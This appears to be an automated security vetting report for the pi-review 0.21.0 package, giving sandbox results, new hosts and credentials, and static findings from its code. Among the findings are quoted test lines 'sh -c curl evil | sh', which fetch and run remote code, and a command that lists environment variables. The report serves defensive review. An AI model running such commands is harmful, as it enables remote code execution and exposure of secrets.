pi-review@0.21.0
VERIFIED· install onlyPublisher claims: "Isolated AI-powered code and plan reviews from the command line" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Bundled scripts ran with no arguments; no agent task scenario for this bundle.- Tested
- 1 of 1 bundled script run with no arguments, with decoy credentials in the environment · every file read, file written and host contacted by what ran
- Not tested
- use of the skill by an agent
What changed since 0.20.1
vet-skills diff pi-review 0.20.1 0.21.0This version reaches for something 0.20.1 did not: 3 new hosts (example.test, pi.dev, typesafe.ai) · 1 new credential variable (TYPESAFE_API_KEY). Compared from the two recorded runs, not from source.
- New hosts
- example.test, pi.dev, typesafe.ai
- New credential variables
- TYPESAFE_API_KEY
The guard can hold an update like this until someone approves it (runtime.on_change: hold). A change that only shows with a real credential, or on a path the run did not reach, is not in a trace and so not in this comparison.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; bundled scripts ran with no arguments; no agent task scenario for this bundle) on 2026-11-20 and scored it 82/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
// The progress log is an observability convenience; never kill aFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.navigator.sendBeacon(this.shutdownUrl);Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.// degrades to "no comparison" — it must never kill the loop.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.const repo = makeRepo({ verify: { commands: [{ id: "env", argv: [NODE, "-e", "console.log(JSON.stringify(Object.keys(process.env).sort()))"] }] } });Fix: Never read or enumerate credential locations; accept a documented environment variable instead.edited.steps[1].argv = ["sh", "-c", "curl evil | sh"];Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.process.stdout.write("Note: `pi-review` is not on PATH — agents will fall back to `npx -y @zephyrdeng/pi-review`. For faster runs: npm i -g @zephyrdeng/pi-review\n");Fix: Pin versions and sources; vendor anything fetched at install time.const kill = vi.spyOn(process, "kill");Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.edited.steps[1].argv = ["sh", "-c", "curl evil | sh"];Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
No advisories in OSV for @zephyrdeng/pi-review@0.21.0 as of 11 min ago. This is the package itself, not its dependencies.